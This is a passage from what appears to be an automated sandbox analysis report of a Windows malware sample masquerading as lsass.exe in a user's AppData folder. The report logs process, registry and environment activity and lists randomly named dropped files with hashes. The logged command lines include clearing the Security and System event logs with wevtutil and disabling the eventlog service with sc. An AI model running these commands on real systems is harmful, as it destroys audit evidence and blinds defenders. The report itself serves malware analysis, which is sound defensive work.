Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\wevtutil.exe os_pid = 0xb10, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4ab90000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:17 (UTC) True 1
Fn
Get Time type = Ticks, time = 122928 True 1
Fn
Get Time type = Performance Ctr, time = 18128660987 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #34: wevtutil.exe
0 0
»
Information Value
ID #34
File Name c:\windows\syswow64\wevtutil.exe
Command Line wevtutil.exe clear-log Security
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:01, Reason: Child Process
Unmonitor End Time: 00:01:02, Reason: Self Terminated
Monitor Duration 00:00:01
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xb10
Parent PID 0xaf8 (c:\windows\syswow64\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B14
0x B18
Process #35: cmd.exe
61 0
»
Information Value
ID #35
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C wevtutil.exe clear-log System
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:01, Reason: Child Process
Unmonitor End Time: 00:01:03, Reason: Self Terminated
Monitor Duration 00:00:02
OS Process Information
»
Information Value
PID 0xb1c
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B20
Host Behavior
File (11)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Get Info wevtutil.exe type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\wevtutil.exe os_pid = 0xb34, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a070000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:18 (UTC) True 1
Fn
Get Time type = Ticks, time = 123162 True 1
Fn
Get Time type = Performance Ctr, time = 18151739947 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #36: wevtutil.exe
0 0
»
Information Value
ID #36
File Name c:\windows\syswow64\wevtutil.exe
Command Line wevtutil.exe clear-log System
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:01, Reason: Child Process
Unmonitor End Time: 00:01:02, Reason: Self Terminated
Monitor Duration 00:00:01
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xb34
Parent PID 0xb1c (c:\windows\syswow64\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B38
0x B3C
Process #37: cmd.exe
60 0
»
Information Value
ID #37
File Name c:\windows\syswow64\cmd.exe
Command Line "C:\Windows\system32\cmd.exe" /C sc config eventlog start=disabled
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:01, Reason: Child Process
Unmonitor End Time: 00:01:03, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xb40
Parent PID 0x838 (c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B44
Host Behavior
File (10)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Windows\system32 type = file_attributes True 1
Fn
Get Info C:\Windows\System32 type = file_attributes True 1
Fn
Open STD_OUTPUT_HANDLE - True 5
Fn
Open STD_INPUT_HANDLE - True 3
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 0, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\sc.exe os_pid = 0xb58, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\cmd.exe base_address = 0x4a7a0000 True 1
Fn
Get Handle c:\windows\syswow64\kernel32.dll base_address = 0x76c20000 True 2
Fn
Get Filename - process_name = c:\windows\syswow64\cmd.exe, file_name_orig = C:\Windows\SysWOW64\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadUILanguage, address_out = 0x76c4a84f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CopyFileExW, address_out = 0x76c53b92 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76c4a79d True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:18 (UTC) True 1
Fn
Get Time type = Ticks, time = 123521 True 1
Fn
Get Time type = Performance Ctr, time = 18187697198 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Windows\System32 True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000667 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #38: sc.exe
8 0
»
Information Value
ID #38
File Name c:\windows\syswow64\sc.exe
Command Line sc config eventlog start=disabled
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:01, Reason: Child Process
Unmonitor End Time: 00:01:02, Reason: Self Terminated
Monitor Duration 00:00:00
OS Process Information
»
Information Value
PID 0xb58
Parent PID 0xb40 (c:\windows\syswow64\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x B5C
0x B60
Host Behavior
File (3)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_OUTPUT_HANDLE type = file_type True 1
Fn
Open STD_OUTPUT_HANDLE - True 1
Fn
Write STD_OUTPUT_HANDLE size = 649 True 1
Fn
Data
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\syswow64\sc.exe base_address = 0xbf0000 True 1
Fn
Service (1)
»
Operation Additional Information Success Count Logfile
Open Manager database_name = SERVICES_ACTIVE_DATABASE True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-07 15:51:18 (UTC) True 1
Fn
Get Time type = Ticks, time = 123599 True 1
Fn
Get Time type = Performance Ctr, time = 18202330490 True 1
Fn
Process #40: lsass.exe
43773 2
»
Information Value
ID #40
File Name c:\users\5p5nrgjn0js halpmcxz\appdata\roaming\microsoft\windows\lsass.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Roaming\Microsoft\Windows\lsass.exe" *
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:01:27, Reason: Autostart
Unmonitor End Time: 00:04:27, Reason: Terminated by Timeout
Monitor Duration 00:03:00
OS Process Information
»
Information Value
PID 0x52c
Parent PID 0x464 (Unknown)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level Medium
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 530
0x 5EC
0x 608
0x 668
0x 674
0x 678
0x 6F0
0x 35C
0x 354
0x 61C
0x 644
0x 6C0
0x 6C8
0x 6D4
0x 5F8
0x 424
Memory Dumps
»
Name Start VA End VA Dump Reason PE Rebuilds Bitness Entry Points AV YARA Actions
lsass.exe 0x010C0000 0x010F2FFF Relevant Image - 32-bit - False False
...
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\0giK_.wav 3.88 KB MD5: f83b1e687f1b5bb69c112347541a65f0
SHA1: 92cfeff59b5d94bab2d0289d6d936079986e2377
SHA256: 150cde38808a0bf881773335f3f41efe2ee2d91a65f5c80f06cef80d85facb9a
SSDeep: 96:XJyIDXCLJUjc0BUf61TbW5WT/C2yXV7kFj1+NrQpwZ66:dyLJUIaGJAT/C247ktkCp/6 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\1dF073H.ots 6.35 KB MD5: dea4fd2445ee317f1ff411c00a42a6e7
SHA1: 8964c57dff7779bfcdde6b9610af87500b99e7ba
SHA256: 3b059232af5fbe9e684a9ecc0590976d3012d4a034912f0850c9adae59722acc
SSDeep: 192:bDY7I4bKBv17ACP9V+K3lieia1f7ktkCp/6:2PKZ17AI+KUqwZS 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\9DZVN uKNWz.mp4 51.94 KB MD5: 73e5e5423ea9194b7f49b19ddf85930b
SHA1: 3e9d68b8afcf4f95b0ae6c3cc44ce97dda9af4de
SHA256: ba64c0d56d4bf7e113a3d31999a4e8d884b5fb1d38093c1f905f5528725a00ab
SSDeep: 1536:+DSv7ymWgQYbeVPeFEBjHMpy5joj+Gd4NBS8Q:oSv7ldHFgGyK++K1Q 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\aTd04RZwY.mp4 23.22 KB MD5: 1695f1b9e889f30ff544db49a247c5e7
SHA1: c6d401c8b7e254fa0a03e13539c6db35f4175335
SHA256: b73aa92b089979fb9964f115525dc32c9b32201b77089085a9d4eed02aeb3d9d
SSDeep: 384:VkfmLRIrfHic9B2LC5vaIMVS9ernEXT9drifQvJ2Bzbrz6IJpACIuxbPRLJM7QiQ:rRIWc9BUCtIw9J9dyBz7mCvxrRLsAMh0 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bn2wxj.mp3 90.16 KB MD5: e2e08dbbd6dc8c7109ec10a037ba89ee
SHA1: 78099aefac921504eadf0de69605a4974061400e
SHA256: dddced96a4c7e9a7e66ca96b2156cbdb3066742db00d6e2ebdacb895b10b866e
SSDeep: 1536:gQct3CPf0lXsxYt5F6b4f0e3pjOIf+bzISStBmSWLQgbxrI95SxrO4JsQd1Q:xct3CP5mtj6b4ftNN+/EtBmhLQv9YOKi 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bOU7z_qZLKD.png 75.91 KB MD5: e4b51e5ec0f62bf45a859adbd413590d
SHA1: 403b82c08d1eb86c93e1b4853cf68e7f8ec1ccab
SHA256: a9f715612f8408499558df00f83f6a0b313e5aec235b8e08a0727be0ba6f0aed
SSDeep: 1536:uErGYWPBm22747Md/53JIjI7QI0oD9bZeCMWcOGor4qaYHQ:uEyZB5274o1JI0Q5oD9bzDtGoEq/HQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Dz81zv7.bmp 89.00 KB MD5: 0ab7497e3145e5781ca6ac18a85e701d
SHA1: 59c729c9ee901252942cacfda51bbab85f236e3f
SHA256: 7d2ff30ba72309a9ff50e6234b373ef9fd14442fef0a38425be2ed3ea078e408
SSDeep: 1536:emDHfil6lMRPeE1WquepJUxJGUDxZ47M43cXfa/MRz9hGrGIzh56j5XQ:eeH7lMRGEAwpJWUURa/wUGIzX6j5XQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\F4TfuZGVbbSOIXc5ob.pdf 72.12 KB MD5: 17c41d0f0fbd6280cbce009e054df120
SHA1: 6fb1d78705b70d078c5bf880d0f0c8d96e087e02
SHA256: 2c6f2004da7356ae769ffb9a4f2257ee74b64d647520c2734b46707f58addaec
SSDeep: 1536:30dlCk4Dh7e5I2joyy9lpVDCPvIATh83NDpeLi1VM+KdhIwNdWQ:ErCk4d7PCoLnlCPvIceLeWbMfXbNkQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\mPMFaydeW_Z1.swf 45.71 KB MD5: dff33ae630c0ddec035341b6f2b7cf8c
SHA1: 40120f3e7e453dbee1a7e66eb870fddd5757dac3
SHA256: 2c7d529b54d1092ae6c37cc814d8fa9e0bc3bfa3d7c190c457e36463d9164268
SSDeep: 768:lE4fKcXvHA28MVXm46Q+eOXOm/uAJGrokpIfdA3ptPjVsgc5ESHzrWxjQ6HQ:lZfKMVXLN+esH/BgrT6dopdRsgc5ESHn 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\npPjpPkBj0e8sv5r_3Os.odp 44.55 KB MD5: 7415e9c2315015d3a119e8dae0841357
SHA1: a4a28a3f544f331e623f80b0ebd6fbcfe56f0e5b
SHA256: f87bceee805cd00cba3891b9dbf65e81c486d4ce493953db46913ecac0623526
SSDeep: 768:p220pZy1E0SNMEUIZlUFJSuvL4LGGChsqKirBpNGlAdOzhzyTvBSeKe8rFv7k1wQ:pD0pZESNNyFJSuT4vFli9p8lvhQvBSP0 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Oi5UJnl8S3QT5u3Z1aK.avi 7.52 KB MD5: 3239edc01d5dbfb150ee7635dfd2e9eb
SHA1: b6707cf8df7b3003152e14711d81c6c47727c138
SHA256: 10912be2e14492e8bc753a1544f3046e7f249802ba49c9d050a00480cea63eb3
SSDeep: 192:Uf+wz5JpwJeprJVyP5Hu6R6sPOC1fXNcKZoH7ktkCp/6:jw1MJyrJVWHu2PTfXPZoIZS 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\q3_KkOtGMa_kZ.wav 5.53 KB MD5: 422ccf63603c0b9ba5600f0e3579f510
SHA1: 08fcb06f3171f47533165bb90c9c7bd8e51a5f23
SHA256: 5f7bc48cb93ce11ce62e8adc7ca1f3d9bc7ff75729eb3a2692d79bd2ab1e5f4d
SSDeep: 96:BLTWDI7i6VHaK/TUng/UNbKCnRTAQMfKc8dt9zsMYDK6HXhzl58V7kFj1+NrQpwt:BLTWs77PbUg+KCnRTmfOt9zsMYDK6R74 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\qo4i.wav 71.10 KB MD5: b031655c36de61762c1bd609c4310355
SHA1: 91067b7b5e7ce74afdea0a3e597cf4c97f1535eb
SHA256: edb108d796ca0e5fcd707aeb14e298d9eb191f3ac836bfd78d5529c4f0945865
SSDeep: 1536:KC9z9i2homtbBVi82dXlpPndttVRz5eSpXbJYwqUM5eoKeQ:KC9zIUdtbCldbtVRzUSbJ5icMQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\UW3mA9Alfw1.gif 84.38 KB MD5: a52f2b317691c736ea47c82f76465c4a
SHA1: 34f31b3fb53b765d14a011ba8abf6626d50f3168
SHA256: e9afcb2312e037db77cb86d9d75724316a7c03bb84f14b6cc03cf9e02656d847
SSDeep: 1536:jVwG2QGIBf/CJOWtNc8n9jXQQLa+umJ8NdP7uGDXIU5yDpgPICNEQ:pb2JIBf/C4W0a9jgQLa+nJTGn3IhQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\Vu2C Xn6dcLqd.wav 41.63 KB MD5: e10b791f0b23751cc9d9a4513d864fa8
SHA1: 7a94f1c8965e740bff6aa14fbfbd47083b7bb57d
SHA256: ba2230db6ecaf82d4eaa40cb7a6c2c2cefa4e4ecfc050bb66e5e0cb79d31199b
SSDeep: 768:+/SmW0hSvMd2SifA/i/IJceWzuMM2G4NeXDFp0B+Yyf75fqwbuxToFQ:+d4QiI/0IJcpKx2G4NAp8pA5fLuxsFQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\X0sfLA3O3CDiV.doc 69.74 KB MD5: f779a4bf86b5216d3ed9ed5117de4df9
SHA1: c76f7b8fe715579b4788c39ae44a5ba465cf20bf
SHA256: 14d59015259ad3e9ced46c4a250d228b31ba5dd758849c94abe6c91b15fb9d76
SSDeep: 1536:fzmPUK2c37rXagkSnujx99vUkdsMdWCojbv1+XTWktKPEhGWyQ:fyUK2sS9/xbeMdW1jbv46ktbQWyQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\XWwow.png 14.60 KB MD5: 069701593ef4aa06248463f62b78bc4d
SHA1: 95f229ffc6d937ced4c718d3931e223a7662a2f0
SHA256: d3683618d754dc19e47ba306699b01cfcd204ab29113a679c45469c9c70c033d
SSDeep: 384:83EzhaJ3ABLAufvNR+qRZ9xEJ1wbtqEh0mrlwZS:83EzUR2fFYKx+1UtB0ZQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\ZipOLuSTq7e22tKf.odt 86.40 KB MD5: 160a97b26c44925844fd683f81e13f06
SHA1: fe1257f7e15b5fbcac279d71b77cd19ca453a904
SHA256: 1cb15b075832c72f76446a9e268939e3633cab992f0b2742d25e3d9e76fbbf64
SSDeep: 1536:m8fZB3giQfNj7B1rOqyESk6mZmqfa1g8BHr5OQiMGbB/4Z0zB1konkjJZ74RQ:RfZBwfh7BAkvZm9i8BHVOQiMGNwU64RQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\bZa3j\VOyZefA.mp4 64.47 KB MD5: 8bcdb117d0886e0392e7a8258c43d7c8
SHA1: 6d339683abe4dbf696a236d86c2c35bbeb10046b
SHA256: b1e665680286b3ff15cbfa169cddbd31b7b3bb55946e074c53c2523f599d6c8c
SSDeep: 1536:asm1QguR22SpxnYPK2IWgAUdSwe3sRYTmTfok/E39yPRHKQ:Xm1puR2rrcIWgdMwDmfk/EXQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\emB6IjF2pK\24dQhw2U_5X.mkv 59.72 KB MD5: 73ec3e42f57b4e558a5a8f81aa65b75f
SHA1: 43ba1341900af806e3f108ca98659c32871bf741
SHA256: 3c8f184e8c518d403418001c52a076d307b796b115680772502e0061b57548a9
SSDeep: 1536:5pWFh0dhLWudmpCLNLQA1z+hJfjuGWBWvafzgNQ:5pjdhaILNH+nfkBKafzIQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\d7tl6xSJD1nVtY6WK.odp 52.86 KB MD5: 721d9bef96fce056076b7502c795993c
SHA1: 03146be00b859913ffb2cbf74b9b11d28f8856bf
SHA256: c261880064ad0c14502f632691ae80a992a6af34e9e05f5ca87cb11a665c990e
SSDeep: 1536:8Cv90bME71UjE2e7FMvcl0KzAu+y47XAmWNIkaM0Q:8G90QER4ErFXXg8VNIkd0Q 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\ZSdZkxkh9RcKgkjSFqyf.wav 86.32 KB MD5: 653b51c44fd09b67c99733c2f2be6233
SHA1: a151c0dc4dc3dba8ce4a10e39dbfb189d9c24fa4
SHA256: 9c2102f6efb5a62159033fd71d0dc5f4b8021c084e56dc7dee1e14bcbce23dec
SSDeep: 1536:c1m98H6N6cRHTwGuENL1U3RyvXUBzdKRU0RxAMYrY8wjN/AmW57/LQ:g6N6cx9NxU3Ru5y02YnjWmCPQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\-StAmyJLE\IVq9SaixT8T5LvqIs.avi 48.85 KB MD5: 01d46fd0037b7c169244e8d7449e8c8b
SHA1: 16b691bac440d7c2d4d5b48abaa1a84b63774dbf
SHA256: 164393c917ee2c2eea8a2bc725b624c8bc3b106f05c945238301f8792f4add8f
SSDeep: 1536:84ZIkMmIpoqIS7dj7RmbA7m2hh3Xq6ol5oQ:LZIkxSH/RmbA79Kvl5oQ 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\_a6e\3f3kdvZ\8nr4Eh.ots 93.67 KB MD5: b672059d69ab85de82f185abf6e60f15
SHA1: 8db09668ffd46023de14810a9fb124beee452ab3
SHA256: 88fcc87709e52d9ea994404a79781ecfb627715f791b19c62a9bdeda77938c3a
